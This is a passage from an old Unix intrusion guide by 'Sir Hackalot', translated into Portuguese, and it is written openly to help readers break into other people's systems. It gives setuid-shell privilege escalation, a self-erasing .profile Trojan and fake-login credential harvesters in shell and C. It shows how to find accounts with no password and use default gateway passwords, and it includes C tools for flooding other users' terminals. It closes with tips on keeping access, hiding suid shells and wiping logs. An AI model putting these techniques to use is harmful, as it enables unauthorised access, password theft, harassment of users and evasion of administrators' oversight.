user id, nao o real id de usuario.  Mas, o id de usuario efetivo sobrepoem o
id de usuario real.  Agora, voce pode, se voce quiser pode usar outros programas para fazer
isso.  O que eu quero disser?  Por exemplo, faca do 'ls'
um shell do root. :

# chmod a+s /bin/ls
# exit
$ ls -l /usr/fred
..
......
etc crap

Ls sera entao capaz de espiar qualquer diretorio.  Se voce fizer o mesmo para
"cat" voce podera ver qualquer arquivo, se voce fizer isso com rm, voce podera apagar
qualquer arquivo.  Se voce fizer isso com 'ed', voce pode editar qualquer arquivo em qualquer lugar
do sistema (geralmente).


Como eu me torno root?
------------------

   Boa pergunta.  Para fazer um programa alterar a id do shell do usuario para root,
voce tem que ser root, a menos que voce tenha sorte.  Como assim?  Bem, digamos que
voce encontre um programa que mudar o id do usuario para root.  Se voce tiver acesso
para escrever aquele arquivo, o que entao?  voce podera copiar sobre ele, mas continuar
o bit de uid inalterado.  Assim, digamos que voce viu que o programa chsh esta mudando 
o id de usuario para root.  Entao voce podera copiar o /bin/sh sobre ele.

$ ls -l
rwsrwsrws  root     other  10999 Jan 4  chsh
$ cp /bin/sh chsh
$ chsh
#

Viu?  Isso e apenas um modo.  Existem outras, que eu vou falar agora.


Mais modos de alterar o UID
-----------------------

        Agora, a forma generica de fazer um programa alterar o bit de Id do 
usuario e usar esse comando:

chmod a+s file

Onde 'file' e um arquivo valido existente.  Agora, apenas que tem o arquivo 
pode alter o bit de Id do usuario.  Lembre-se, qualquer coisa que VOCE cria, 
VOCE e o dono, assim se voce copiar o /bin/sh, assim se voce copia
o /bin/sh, aquela conta que voce esta conectado e o dono do arquivo, ou se o
UID e alterado para outra pessoa, o novo UID e o dono do arquivo.  Isso me leva
ate permissoes de arquivo RUINS.



II. HACKEANDO : Permissoes de arquivos ruins

        Agora, o que eu quero dissero com permissoes de arquivo ruins?  Bem, procures 
arquivos que VOCE possa escrever, e acima de tudo, DIRETORIOS que voce possa escrever.
Se voce tiver permissao de escrever em um arquivo, voce pode modifica-lo.  Agora, isso chega
na hora quando se quer roubar o acesso de alguem.  Se voce pode escrever para o
arquivo .profile do usuario, voce esta no negocio.  Voce pode fazer com que .profile do usuario
crie um shell suid para voce rodar quando voce conectar depois do usuario.
Se o .profile pode ser escrito por voce, voce pode fazer isso:

$ ed .profile
[algum numero ira estar aqui]
? a
cp /bin/sh .runme
chmod a+x .runme
chmod a+s .runme
(control-d)
? w
[new filesize will be shown]
? q
$

  Agora, quando o usuario conectar de novo, o .profile ira criar .runme que
  ira alterar o seu ID para o do usuario que voce alterou o arquivo.  Depois voce ira
  voltar e apagar aqueleas linhas depois que o suid foi criado, e voce ira copiar
  o suid para outro lugar e apagar aquele no diretorio do usuario.  O .runme nao
  ira aparecer na listagem de diretorios normal, ira apenas aparecer se ele fizer
  "ls -a" (ou ls com uma combinacao de -a), porque, o '.' deixa um arquivo
  escondido.

O codigo abaixo e um CAVALO DE TROIA, que e um dos mais usado/abusado
metodo de ganhar mais poder no unix. O codigo pode ser feito em C via
comando system(), ou apenas usando open(), chmod(), etc.
* Lembre-se para ver se o .profile do root pode ser escrito*
* ele esta localizado no /.profile (usualmente) *


   A melhor coisa que pode acontecer  e encontrar um diretorio de usuario que pode
   ser escrito por voce.  Poqeu?  Bem, voce pode trocar todos os arquivos no
   diretorio por seu scripts ou Cavalos de Troia em C.  Mesmo que um arquivo
   nao possa ser escrito por voce, voce pode apagar ele ou sobrescrever ele.
   Se voce pode ler varios arquivo, tal como o .profile do usuario, voce pode
   fazer um Cavalo de Troia que se alto apaga, como o seguinte:
   

 $ cp .profile temp.pro
 $ ed .profile
 1234
 ? a
 cp /bin/sh .runme
 chmod a+x .runme
 chmod a+s .runme
 mv temp.pro .profile
 (control-d)
 ? w
 [outro numero]
 ? q
 $ chown aquele_usuario temp.pro

  O que aconteceu e que voce fez uma copia do .profile antes de voce mudar ele.
  Entao, voce mudou o original.  Quando ele roda isso, os passos sao feitos entao
  a versao original e posta sobre a original, assim se o idiota olha no  
  .profile, ele nao vera nada fora do normal, exceto que ele pode ver
  que a data e mais recente, mas muitos usuarios nao sao paranoicos o suficiente
  para fazer checagens extensivas nos seus arquivos, exceto arquivos do sysadm 
  (tal como o passwd).

  Agora, lembre-se mesmo tendo permissao de escrever para um dir, voce pode nao ser capaz
  de escrever para um arquivo sem apagar ele.  Se voce nao tiver permissao para 
  escrever naquele arquivo, voce tera que apagar ele e escrever algo nele
  (ponha um arquivo com o mesmo nome la). A coisa mais importante a lembrar
  e que se voce deletar o .profile voce tera que MUDAR o DONO do arquivo depois de
  voce fazer um novo (hehe) para aquele usuario.  Ele pode facilmente perceber que o arquivo
  .profile foi alterado e ele vai saber que fez isso.  SIM, voce pode mudar o dono
  para alguem mais alem de voce e o dono original (como para manter o dono sem suspeitas de voce).

  Voce pode facilmente mudar os arquivos cron se voce pode escrever neles.  Eu nao estou indo
  entrar em detalhes sobre formatos de arquivos cron aqui, apenas encontre o arquivo crontab
  e modifique ele para criar um shell em qualquer lugar como root,
  e mudar o id do usuario.

III. Cavalos de Troia em terminais.
        Basicamente isso:  Voce pode enviar lixo para a tela do usuario e
        mexer com ele tao mal para forcar que ele faca um logoff, criando uma 
        conta vazia.  Entao voce pode executar um cavalo de troia naquele terminal no
        lugar do login ou alguma coisa, assim o proximo que chamar irar pegar o Cavalo de troia.
        Isso geralmente tem a forma de um falso login. Depois escreve o nome da conta/senha
        digitadas para o disco.

        Agora, existem outros cavalos de troia disponiveis para voce escrever.  Agora,
        nao pense em um virus, porque eles nao funcionam se o root nao o executa.
        De qualquer modo um Cavalo de Troia comum e uma script que pede a senha e as 
        envia pelo email para voce.  Agora, voce pode trocar o codigo para o cavalo auto
        destrutivo com um dissendo algo assim:
        echo "login: \c"
        read lgin
        echo off (funciona em alguns sistemas)
        (se o de cima nao funcionar...: stty -noecho)
        echo "Password:\c"
        read pw
        echo on
        echo "Login: $lgin - Pword: $pw" | mail you

        Agora, o melhor modo de usar isso e por isso em um script seperado
        assim ele pode ser deletado como parte do Cavalo de Troia auto destrutivo .
        Outra modificacao que pode ser feita, removendo o "login: " e deixando o
        Password, isso pode ficar parecido com o SU, assim voce pode pegar a senha do root.
        Mas tenha certeza que o programa apaga a si proprio.  Aqui esta um exemplo de 
        login cavalo de troia em C:

        #include 
        /* Get the necessary defs.. */
        main()
        {
          char *name[80];
          char *pw[20];
          FILE *strm;
          printf("login: ");
          gets(name);
          pw = getpass("Password:");
          strm = fopen("/WhereEver/Whateverfile","a");
          fprintf(strm,"User: (%s), PW [%s]\n",name,pw);
          fclose(strm);
          /* ponha algum tipo de erro embaixo... */
          printf("Bus Error - Core Dumped\n");
          exit(1);
          }

        O programa pede o login e a senha, e coloca isso em um arquivo
        (/wherever/whateverfile), e cria o arquivo se ele puder,
        e se nao tiver nada ali.  Isso e apenas um exemplo.  Anunciamento de 
        rede vem depois.

 IV.  Sistemas diferentes

        Existem sistemas qe voce conecta sem problemas, e encontra algum
menu, banco de dados, ou processador de textos como seu shell, sem jeito de usar
o interpretador de comandos (sh, ksh, etc..).  Nao desiste aqui.  Alguns sistemas irao
permitir que voce conecte como root, mas dar um menu que ira permitir a voce acrescente uma conta.
Entretando, alguns daqueles que fazem iso geralmente tem algum software comprado
rodando, e as pessoas que fazem o software SABEM que as pessoas que compraram isso
sao idiotas, e a coisa ira algumas vezes apenas permitir que voce acrescente
contas com id de usuario 100 ou maior, com o menu como shell. Voce provavelmente
nao pegara um shell, o programa ira provavelmente continuar na tela do usuario que
voce criou, o que e muito limitado.  Entretando, algumas vezes voce pode editar
contas, e isso ira listar contas que voce pode editar na tela.
ENTRETANTO, esses programas geralmente apenas listas aquele com UIDS > 100 assim voce
nao pode editar as contas boas, entretando, eles nao impedem que voce deixe uma conta
com um  UID < 100.  A "edicao" geralmente apenas envolve mudar a senha da conta.  Se uma
conta tem um * para uma senhas, o programa que muda as senhas, ira dizer que nenhuma senha
existe, e ira pedir a voce entrar uma. (wallah! Voce pegou uma conta para si proprio. Geralmente
bin e sys tem um * como senha).  Se a senha existe voce tera que entrar
a senha antiga (Espero que voce saiba isso!) para a conta.  Entao, voce esta no
mesmo bote que antes. (BTW -- Esses sistemas loucos sao geralmente
Xenix/386, Xenix/286, or Altos/286)
        Com processadores de textos, geralmente voce pode selecionar o comando load,
e quando o processando de texto pedir um arquivo, voce pode selecionar o arquivos passwd,
para olhar por contas abertas, ou ao menos contas valida para hackear.  Um exemplo
pode ser o sistema informix.  Voce pode pegar um processador de textos tipo
o Samna word, ou algo assim,  e aqueles Lamers nao irao proteger-se contra
uma coisa tipo aquela.  Porque?  O arquivo Passwd tem que ser legivel por todos ,
assim cada programa pode ter um "status" seu.  Entretanto, processadores de textos pode ser feitos
para edicao restrita de um diretorio, ou conjunto de diretorios.  Aqui esta um exemplo:
        $ id
        uid=100(sirhack) gid=100(users)
        $ sword
        (processador de textos aparece)
        (selecione LOAD A FILE)
        : /etc/passwd
        
        (voce ve: )
        root:dkdjkgsf!!!:0:0:Sysop:/:/bin/sh
        sirhack:dld!k%%^%:100:100:Sir Hackalot:/usr/usr1/sirhack:/bin/sh
        datawiz::101:100:The Data Wizard:/usr/usr1/datawiz:/bin/sh
        ...

Agora eu encontrei uma conta para ser pega! Posso pegar "datawiz" sem problemas,
depois eu posso mudar a senha, coisa que ele nao ira gostar
Alguns sistemas deixam o "sysadm" sem senha (stupidos!), e agora, muitas versoes
do Unix, como Xenix, Unix, BSD, ou alguns outros, eles tem um shell de sysadm
que ira deixar voce fazer toda a parte importante via menu, como criar usuarios, mas voce 
precisa ter ansi ou algo assim.

        Voce pode pedir um menu.  Algumas vezes no UNIX
        SYSTEM V, quando ele mostra TERM = (termtype), e esta esperando que voce
        apente enter ou outra coisa, voce ira pegar um menu.. ack.

V. Arquivos de senhas Escondidos (Shadowed)
        Nao tenho muita coisa a falar sobre isso.  Tudo que isso faz, e que quando cada 
        campo de senha no arquivo passwd tem um "x" ou apenas um caracter.  O que isso faz
        e mexer com voce, porque voce nao pode ler o arquivo de senhas escondido. 
        Apenas o root pode, e ele contem todas as senhas, assim voce nao ira saber
        quais as contas que nao tem senhas, entre outras coisas.
        
Existem muitos outros esquemas de hackerar o unix, desde escrever programas
em linguagem assembly que modifica o PCB ate codigo auto-alteravel que o
interrupt handler nao captura, e outras coisas tipo isso.  Entretanto e nao quero
dar mais nada.  Agora eu vou falar sobre Internet.

--->>> InterNet <<<---
        O que eu quero falar sobre InterNet?  Bem, porque ela e um 
exemplo vivo de uma rede TCP/IP, melhor conhecido como WAN (Wide-Area-Network ou 
Rede de Area Ampla). Agora, geralmente voce ira encontrar Sistemas BSD na  
Internet, ou SunOS, porque eles sao mais comuns.  Mas isso pode mudar quando
o System V, Rel 4.0, Version 2.0 chegar, de qualquer modo esses BSDs/SunOSs 
gostar de deixar facil pular de um computador para outro uma vez que voce
esta conectado.  O que acontece e que CADA sistema tem um "yello page password file". 
Melhor conhecido como yppasswd.
Se voce der uma olhada la e ver senhas vazias voce pode usar rsh, rlogin, etc..
para ir para aquele sistema.  UM sistema em particular por onde eu passei tinha
um arquivo yppasswd onde *300* usuarios nao tinhas senhas.
Uma vez que eu entrei com a conta "test", tudo o que tive que fazer era selecionar quem
eu queria ser, e fazer: rlogin -l usuario (algumas vezes -n).  Entao eu podeia conectar-me
no sistema que eu ja estava, via TCP/IP.  Entretanto, quando voce faz isso,
lembre-se que o yppasswd apenas pertence ao sistema que voce esta naquele momento
Para encontrar contas, voce pode encontar o yppasswd e fazer:

% cat yppasswd | grep ::  (Procurar por contas sem senhas)

Ou, se voce nao encontrar yppasswd..

% ypcat passwd | grep ::

Em UM sistema (que ficara confidencial), Eu encontrei a conta DAEMON 
deixada aberta no arquivo yppasswd.  Nada mal.  Atraves de um sistema na
internet, voce pode alcancar muitos.  Apenas  use rsh, ou rlogin, e olhe
no arquivo: /etc/hosts para sites validos que voce pode alcancar.  Se voce
entrar num sistema, e der um rlogin para outro lugar, e se ele pedir uma senha,
isso significa uma de duas coisas:

A. A conta que voce hackeou no computador esta no computador alvo tambem.
   Tente usar a mesma senha (se tiver) que voce a sua conta tem.  Se ela e
   um default, entao com certeza ela esta no outro sistema, boa sorte...
   
B. rlogin/rsh passam seu nome atual para o outro sistema, assim e como se voce
   digitasse no seu login no prompt de "login: ".  Voce pode nao existir na outra
   maquina.  Tente "rlogin -l nome", ou rlogin -n nome..
   algumas vezes, voce pode executar "rwho" em outra maquina, e pegar uma conta
   valida.

Algumas notas sobre servidores de Internet.  Existem "GATEWAYS" que voce pode entrar
quer permite acesso a MUITOS sites Internet.  Eles rodam uma versao modificada
do GL/1 ou GS/1.  Pessima escolha.  Eles tem arquivos de ajuda.  Entretanto,
voce pode pegar um acesso priviligiado (privileged) neles, que ira dar a voce CONTROLE do
gateway. Voce pode reseta-lo, remover sistemas da Internet, etc..
Quando voce pedir para ser privilegiado, ele ira pedir uma senha.  Existe um
default.  O default e "system".  Eu passei por  *5* gateways com a senha
default.  Depois denovo, DECNET tem a mesma senha, e eu passei por mais de 
100 sistemas com a senhas privilegiada padrao.  Legal.
O Gateway que leva para  APPLE.COM tem a senha default.  Qualquer um pudia ter
tirado a apple.com da internet.  Fique avisado que existem muitas
redes hoje em dia que usam TCP/IP.. Tal como BARRNET, LANET, e muitas outras redes de
Universidades.

--** Divertindo-se (Com a cara dos outros) **--

Agora, Depois de tudo, voce pode tentar se divertir um pouco.  Nao, Eu nao estou dissendo
em ir acabar com Winchesters, ou acabando com o elo de diretorios para pegar inodes (LeBeau: Acho
que quer disser nos na Internet, talvez), Eu digo brincar com os usuarios na rede.
Existem muitas coisas que podem ser feitas.  Redirecionar a saida de dados e uma
das melhores.  Aqui esta um exemplo:
 $ who
 loozer   tty1
 sirhack  tty2
 $ banner You Suck >/dev/tty1        
 $
 Isso envia a saida de dados para o loozer.  O TTY1 e onde a E/S esta sendo realizada
 (geralmente um modem se e um TTY).  Voce pode repetitivamente usar o banner no 
 usuario  com uma estrutura do while em shell, fazendo com que ele se desconecte. Ou
 voce pode simplesmente se diverte com ele.  Observe esse programa em C:

#include 
#include 
#include 

main(argc,argument)
int argc;
char *argument[];
{
        int handle;
        char *pstr,*olm[80];
        char *devstr = "/dev/";
        int acnt = 2;
        FILE *strm;
        pstr = "";
        if (argc == 1) {
                printf("OL (OneLiner) Version 1.00 \n");
                printf("By Sir Hackalot [PHAZE](Traduzido por LeBeau)\n");
                printf("\nsintaxe: ol tty message\n");
                printf("Example: ol tty01 You suck\n");
                exit(1);
        }
        printf("OL (OneLiner) Version 1.0\n");
        printf("By Sir Hackalot [PHAZE]\n");
        if (argc == 2) {
                strcpy(olm,"");
                printf("\nDummy! You forgot to Supply a ONE LINE MESSAGE\n");
                printf("Enter one Here => ");
                gets(olm);
        }
        strcpy(pstr,"");
        strcat(pstr,devstr);
        strcat(pstr,argument[1]);
        printf("Sending to: [%s]\n",pstr);
        strm = fopen(pstr,"a");
        if (strm == NULL) {
                printf("Error writing to: %s\n",pstr);
                printf("Cause: No Write Perms?\n");
                exit(2);
        }
        if (argc == 2) {
                if (strcmp(logname(),"sirhack") != 0) fprintf(strm,"Message from (%s): \n",logname());
                fprintf(strm,"%s\n",olm);
                fclose(strm);
                printf("Message Sent.\n");
                exit(0);
        }
        if (argc > 2) {
                if (strcmp(logname(),"sirhack") != 0) fprintf(strm,"Message from (%s):\n",logname());
                while (acnt <= argc - 1) {
                        fprintf(strm,"%s ",argument[acnt]);
                        acnt++;
                }
                fclose(strm);
                printf("Message sent!\n");
                exit(0);
        }
}

O que o codigo acima faz e enviar uma linha de texto para um dispositivo que 
se possa escrever nele por voce no diretorio /dev.  Se voce tentar isso no 
usuario "sirhack" ele ira notificar sirhack daquilo que voce esta fazendo. 
Voce pode suprir um argumento na linha de comandos, ou nao preencher a messagem,
depois o programa pede uma.  Voce DEVE suprir um terminal.  Tambem, se voce usar
? ou *, ou (), ou [], voce nao tem que suprir uma messagem na linha de comandos
espere ate que ele peca por uma. Exemplo:

$ ol tty1 Lammer 
OL (OneLiner) Version 1.00
by Sir Hackalot [PHAZE](Traduzido por LeBeau)
Sending to: [/dev/tty1]
Message Sent!
$
Or..
$ ol tty1
OL (OneLiner) Version 1.00
by Sir Hackalot [PHAZE](Traduzido por LeBeau)
Dummy! You Forgot to Supply a ONE LINE MESSAGE!
Enter one here => Loozer! Logoff (NOW)!! ^G^G
Sending to: [/dev/tty1]
Message Sent!
$

  Voce pode fazer para enviar messagens falsas a partir do root.  
  Aqui vai outro exemplo:


/*
 * Hose another user
 */

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define NMAX    sizeof(ubuf.ut_name)

struct  utmp ubuf;
struct  termio oldmode, mode;
struct  utsname name;
int yn;
int loop = 0;
char    *realme[50] = "Unknown";
char    *strcat(), *strcpy(), me[50]  = "???", *him, *mytty, histty[32];
char    *histtya, *ttyname(), *strrchr(), *getenv();
int     signum[] = {SIGHUP, SIGINT, SIGQUIT, 0}, logcnt, eof(), timout();
FILE    *tf;

main(argc, argv)
int argc;
char *argv[];
{
        register FILE *uf;
        char c1, lastc;
        int goodtty = 0;
        long clock = time((long *) 0);
        struct tm *localtime();
        struct tm *localclock = localtime( &clock );
        struct stat stbuf;
        char psbuf[20], buf[80], window[20], junk[20];
        FILE *pfp, *popen();

        if (argc < 2) {
                printf("usage: hose user [ttyname]\n");
                exit(1);
        }
        him = argv[1];

        if (argc > 2)
                histtya = argv[2];
        if ((uf = fopen("/etc/utmp", "r")) == NULL) {
                printf("cannot open /etc/utmp\n");
                exit(1);
        }
        cuserid(me);
        if (me == NULL) {
                printf("Can't find your login name\n");
                exit(1);
        }
    mytty = ttyname(2);
    if (mytty == NULL) {
                printf("Can't find your tty\n");
                exit(1);
        }
        if (stat(mytty, &stbuf) < 0) {
                printf("Can't stat your tty -- This System is bogus.\n");
        }
        if ((stbuf.st_mode&02) == 0) {
                printf("You have write permissions turned off (hehe!).\n");
        }

    if (histtya) {
                if (!strncmp(histtya, "/dev/", 5))
                        histtya = strrchr(histtya, '/') + 1;
                strcpy(histty, "/dev/");
                strcat(histty, histtya);
        }
        while (fread((char *)&ubuf, sizeof(ubuf), 1, uf) == 1) {
                if (ubuf.ut_name[0] == '\0')
                        continue;
                if (!strncmp(ubuf.ut_name, him, NMAX)) {
                        logcnt++;
                        if (histty[0]==0) {
                                strcpy(histty, "/dev/");
                                strcat(histty, ubuf.ut_line);
                        }
                        if (histtya) {
                                if (!strcmp(ubuf.ut_line, histtya))
                                        goodtty++;
                        }
                }
        }
        fclose(uf);
        if (logcnt==0) {
                printf("%s not found! (Not logged in?)\n", him);
                exit(1);
        }

        if (histtya==0 && logcnt > 1) {
                printf("%s logged more than once\nwriting to %s\n", him, histty+5);
        }
        if (access(histty, 0) < 0) {
                printf("No such tty? [%s]\n",histty);
                exit(1);
        }
        signal(SIGALRM, timout);
        alarm(5);
        if ((tf = fopen(histty, "w")) == NULL)
                goto perm;
        alarm(0);
        if (fstat(fileno(tf), &stbuf) < 0)
                goto perm;
        if (geteuid() != 0 && (stbuf.st_mode&02) == 0)
                goto perm;
        ioctl(0, TCGETA, &oldmode);             /* save tty state */
        ioctl(0, TCGETA, &mode);
        sigs(eof);
        uname(&name);
        if (strcmp(him,"YOURNAMEHERE") == 0) yn = 1;
  if (yn == 1 ) {
    fprintf(tf, "\r(%s attempted to HOSE You with NW)\r\n",me);
    fclose(tf);
    printf("Critical Error Handler: %s running conflicting process\n",him);
    exit(1);
}
    fflush(tf);
        mode.c_cc[4] = 1;
        mode.c_cc[5] = 0;
        mode.c_lflag &= ~ICANON;
        ioctl(0, TCSETAW, &mode);
        lastc = '\n';


printf("Backspace / Spin Cursor set lose on: %s\n",him);
   while (loop == 0) {
   c1 = '\b';
   write(fileno(tf),&c1,1);
   sleep(5);
fprintf(tf,"\\\b|\b/\b-\b+\b");
   fflush(tf);
   }




perm:
printf("Write Permissions denied!\n");
exit(1);
}

timout()
{

printf("Timeout opening their tty\n");
exit(1);
}

eof()
{
printf("Bye..\n");
ioctl(0, TCSETAW, &oldmode);
exit(0);
}

ex()
{
        register i;
        sigs(SIG_IGN);
        i = fork();
        if (i < 0) {
                printf("Try again\n");
                goto out;
        }
        if (i == 0) {
                sigs((int (*)())0);
                execl(getenv("SHELL")?getenv("SHELL"):"/bin/sh","sh","-t",0);
                exit(0);
        }
        while(wait((int *)NULL) != i)
                ;
        printf("!\n");
out:
        sigs(eof);
}

sigs(sig)
int (*sig)();
{
        register i;
        for (i=0; signum[i]; i++)
                signal(signum[i], sig);
}



O que o codigo acima e? uma versao modificada do comando write.
O que ele faz?  Ele avanca o cursor devois volta na tela do usuario 
que esta rodando. Entretanto, ele nao afeta fisicamente a entrada de dados,
o usuario pensa que ele faz.  Entretanto, ele muda a velocidade da entrada de
dados.  O sleep(xx) pode ser alterado para fazer os dados passarem mais rapidos
ou menos rapidos.
Se voce puser sua conta no "YOURNAMEHERE", ele ira proteger voce de ser pego por
isso, se alguem de um unix de acesso publico encontra o executavel em seu diretorio.
Voce pode fazer um programa menor que faz quase a mesma coisa, mas voce precisa 
suprir o terminal, observe:

/* Backspace virus, by Sir Hackalot [Phaze] */
#include 
#include 
main(argc,argv)
char *argv[];
int argc;
{
        int x = 1;
        char *device = "/dev/";
        FILE *histty;
        if (argc == 1) {
        printf("Bafoon.  Supply a TTY.\n");
        exit(1);
        }
        strcat(device,argv[1]);
        /* Make the filename /dev/tty.. */
        histty = fopen(device,"a");
        if (histty == NULL) {
        printf("Error opening/writing to tty.  Check their perms.\n");
        exit(1);
        }
        printf("BSV - Backspace virus, By Sir Hackalot.\n");
        printf("The Sucker on %s is getting it!\n",device);
        while (x == 1) {
        fprintf(histty,"\b\b");
        fflush(histty);
        sleep(5);
        }
        }

Isso e tudo.  Se voce pode escrever para o tty dele, voce pode fazer isso
nele.  Ele envia dois backspaces para eles a cada 5 segundos aproximadamente.
Voce pode rodar esse programa no background.  (&).  Aqui esta um exemplo:

$ who
sirhack     tty11
loozer      tty12
$ bsv tty12&
[1]  4566
BSV - Backspace virus, by Sir Hackalot
The Sucker on /dev/tty12 is getting it!
$

Agora, ele vai ficar "atacando" ele, ate que ele desconecte, ou voce mate o processo 
(Lembra do kill?) (esse programa que no caso tinha numero = 4566 -- quando voce usa &, ele fornece
o  pid [geralmente]).

** Nota *** Tenha em mente que o MSDOS, e outros SO usam o metodo de CR/LF
para terminar uma linha.  Entretanto, o LF termina uma linha em Unix.
Voce deve remover os CR's em um upload de arquivos ascii se voce quiser que o 
editor trabalhe direito.  Senao, voce vera um ^M no fim de cada linha.  Sei que isso
e chato, mas voce precisa arrumar isso.

Eu tenho um grande numero de programas que atrapalhas os usuarios, mas e suficiente que
voce deixe a imaginacao voar, desde que voce programe em C.  Voce pode encher o saco
dos usuarios de outras formas.  Uma coisa que voce pode fazer e encher o usuario de 
emails idiotas.
A forma para fazer isso e encontrar um arquivo binario (30k ou maior) no sistema
que voce tem acesso para ler.  Entao, faca isso:

$ cat arquivo_binario | mail loozer

ou

$ mail loozer < arquivo_binario

Essas sao duas formas de enviar um email.  A primeira messagem ira ter uma linha
from mostrando quem mandou.. (voce), mas a segunda nao ira!  Uma vez que ele nao 
existe, o leitor de email ficara saindo e dando ao usuario uma mensagem de erro ate
o erro ser corrigido.  O modo de fixar isso e ir ate a caixa de correio do usuario
que foi atingido com esse truque (geralmente so o usuario ou o root podem fazer isso)
editar o arquivo e ascrestar uma linha from.. tipo:  From conta.
entao ela vai ficar certo.  Voce pode atrapalhar o usuario ao usar o comando "cat" para
enviar um arquivo binario para a tty dele.
Digamos que Loozer esta no tty12.  Voce pode fazer..
$ cat arquivo_binario >/dev/tty12
$
Ele pode dar uma pausa enquanto ela faz a saida de dados.  Se voce quiser continuar o que
voce estava fazendo instantaneamente, faca:
$ cat arquivo_binario >/dev/tty12&
[1] 4690
$
E ele sera provavelmente desconectado.  Voce pode enviar a saida de dados de tudos o que faz
em seu terminal para ele.  Tudo o que VOCE fizer em shell.  Tipo isso:
$ sh >/dev/tty12
$
Voce tera o prompt mas nao vera resposta a nenhum comando, o usuario ira...
$ ls
$ banner Idiota!
$ echo Panaca!
$
Ate voce digitar exit, ou teclar ctrl-d.

Dica do LeBeau:
Ai vi uma dica para ninguem disser que eu sou um lammer que so entende de Ingles:
$ while : ; do
> banner Idiota! >/dev/tty12       
>done

outra forma disso seria:

$ banner Idiota! > idiota
$ while : ; do
> write loozer < idiota
>done

Isso vai fazer um loop infinito, enchendo a tela do usuario com a palavra Idiota!
A diferenca do primeiro para o segundo seria que o segundo mostra quem enviou
a mensagem ja a primeira nao.


Existem muitas coisas que voce pode fazer.  Voce pode enviar um write falso para
alguem e fazer ele pensae que foi de alguem do outro lado do inferno.  Seja criativo.

Quando voce estiver olhando por coisas a fazer, procure por falhas, ou tente fazer
alguem rodar um cavalo de troia que faz um shell suid.  Se voce fizer alguem rodar
um cavalo de troia que faz isso, voce pode rodar a suid, e desconectar aquele cara
ao matar a PID principal dele.  (kill -9 algumacoisa).  Ou, voce pode tirar eles fora
por um bom tempo acrescentando a linha "kill -1 0" ao .profile dele.  No interior das
falhas, sempre procure bits de suid maus.  Em um sistema que devia ser invencivel
Eu fui capaz de ler/modificar o email de todos, porque eu usei um mailer (programa 
gerenciador de email) que tinha tanto o GroupID quanto o UserID.  Quando eu fui dar um shell 
a partir dele, o programa instantaneamente mudou meu ID efetivo de volta, assim eu 
nao podia fazer nada alem daquilo que eu podia fazer.  Mas ele nao foi desenvolvido 
para trazer o GROUP ID de volta. O sysop errou nisso.  Assim quando eu fiz o comando
id eu vi que pertencia ao grupo "mail".  Arquivos de email podem ser lidas/escritas
pelo user "mail", e pelo grupo "mail".  Eu entao fiz um shell sgid (set group id). Para
mudar meu id de grupo para "mail" quando eu rodar ele, e procurar por importante emails
e isso me deu uma boa informacao.  Assim, fique de olho por permissoes pobres.

Outra coisa, depois que voce ganha acesso, voce pode querer manter isso.  Aqui estao algumas 
dicas sobre isso:
        1. Nao espalhe.  Se o sysadm ve que joeuser conectou 500 vezes numa noite.... entao....
        2. Nao fique muitas horas por vez.  Eles podem tracar da onde voce esta. Tambem eles
           vao saber se voce e irregular se o joeuser estiver conectado depois de 4 depois do trabalho.
        3. Nao destrua o sistema.  Nao apague arquivos importantes.
           Use a maquina para algo especifico (para pesquisar codigo fonte, desenvolver programas,
           site de email).  Nao seja um filho da mae com todos, e nao tente apagar tudo o que 
           voce pode.
        4. Nao mexa com os usuarios constantemente.  Verifique os processos deles e rode o que eles
           rodam.  Voce pode pegar uma boa info (snoop!)
        5. Se voce acrescentar uma conta, primeiro olhe nas contas que ja existem.
           Se voce ve um monte de contas que tem apenas 3 letras, entao a sua deve ser
           tambem.  Se um sistema usa "cln, dok, wed" ou algo assim, nao acrescente uma conta
           chamada "joeuser", acrescente alguma que e somente as iniciais.
        6. Quando voce acrescentar uma conta, ponha um nome feminino, so se isso encaixa
           (Ou seja, se apenas companhias conectam no unix, ponha uma nome de 
           companhia la).  As pessoas nao suspeitam que hackers usem nomes de mulheres.
           Eles procuram por nomes de homens.
        7. Don't cost the Unix machine too much money.  Ie.. don't abuse an
           outdial, or if it controls trunks, do not set up a bunch of dial
           outs.  If there is a pad, don't use it unless you NEED it.
        8. Nao use x.25 pads.  O uso deles e altamente descoberto.
        9. Deixe o log acct desligado (acct off) se voce tiver como fazer isso.
           Ligue-o assim que voce terminar.
       10. Remova qualquer cavalo de troia que voce deixou ativado para dar a voce  
           acesso assim que voce tiver acesso.
           
       11. NAO mude o arquivo MOTD para disser "Eu hackeei esse sistema" .
           Muitas, mas muitas pessoas fazem isso, e perdem o acesso dentro de 2 horas.
       12. Tenha bom julgamento.  Cubra seus rastros.  Se voce usa su, limpe o 
           sulog.
       13. Se voce usa cu, limpe o cu_log.
       14. Se voce usa o defeito smtp (wizard/debug), crie um shell de uid.
       15. Esconda todos shell suid.  Aqui esta como:
           goto /usr
           (ou outro dir)
           faca:
           # mkdir ".. "
           # cd ".. "
           # cp /bin/sh ".whatever"
           # chmod a+s ".whatever"
           Os "" sao necessarios para entrar no diretorio ..  !  Ele nao ira aparecer
           em uma listagem de arquivos, e e dificil paca para os sysadms entrar
           se voce fizer 4 ou 5 espacos nele ("..    "), porque tudo o que ele vao ver
           na listagem completa sera .. e eles nao serao capazes de entrar a menos que eles
           usem "" e saibam o espacamento.  "" e usado quando voce quer fazer literais,
           ou use um coringa como parte do nome de arquivo.
           
       16. Don't hog cpu time with password hackers.  They really don't work
           well.

       17. Nao use muito espaco em disco.  Se voce arquivar algo para copiar,
           copie isso, depois apague os arquivos.
       18. Basicamente -- CUBRA SEUS RASTROS.

Algumas notas finais:

Agora, eu escuto inumeros rumores e estorias tipo "E muito dificil entrar nos
sistemas...".  Errado. (Yo Pheds! Voce estao lendo isso??).  Isso e verdade 
quando voce esta tratando com WAN, tipo telnet, tyment, e a Internet,
mas nao com computadores locais foras daquelas redes.  Aqui esta a historia:

A partir de alguns anos atras, muitas companhias pequenas cresceram como VARs
(Value Added Resellers, algo como revendedoras) para Unix e Hardware, de forma
a fazer dinheiro.  Agora, essas companhias rapidamente falam com outras companhias
em comprar qualquer coisa, e eles fazem isso por Unix.  Agora, o LeBeau esta
cheio de traduzir, uma rapida interpretacao disso seria que as empresas deixam
as senhas padrao de proposito para que as empresas (e quem mais quiser) possam entrar
. Now, these companies fast talk companies into buying whatever,
and they proceed in setting up the Unix.  Now, since they get paid by
the hour usaually when setting one up, they spread it out over days....
during these days, the system is WIDE open (if it has a dialin).  Get
in and add yourself to passwd before the seal it off (if they do..).
Then again, after the machine is set up, they leave the defaults on the
system.  Why?  The company needs to get in, and most VARs cannot use
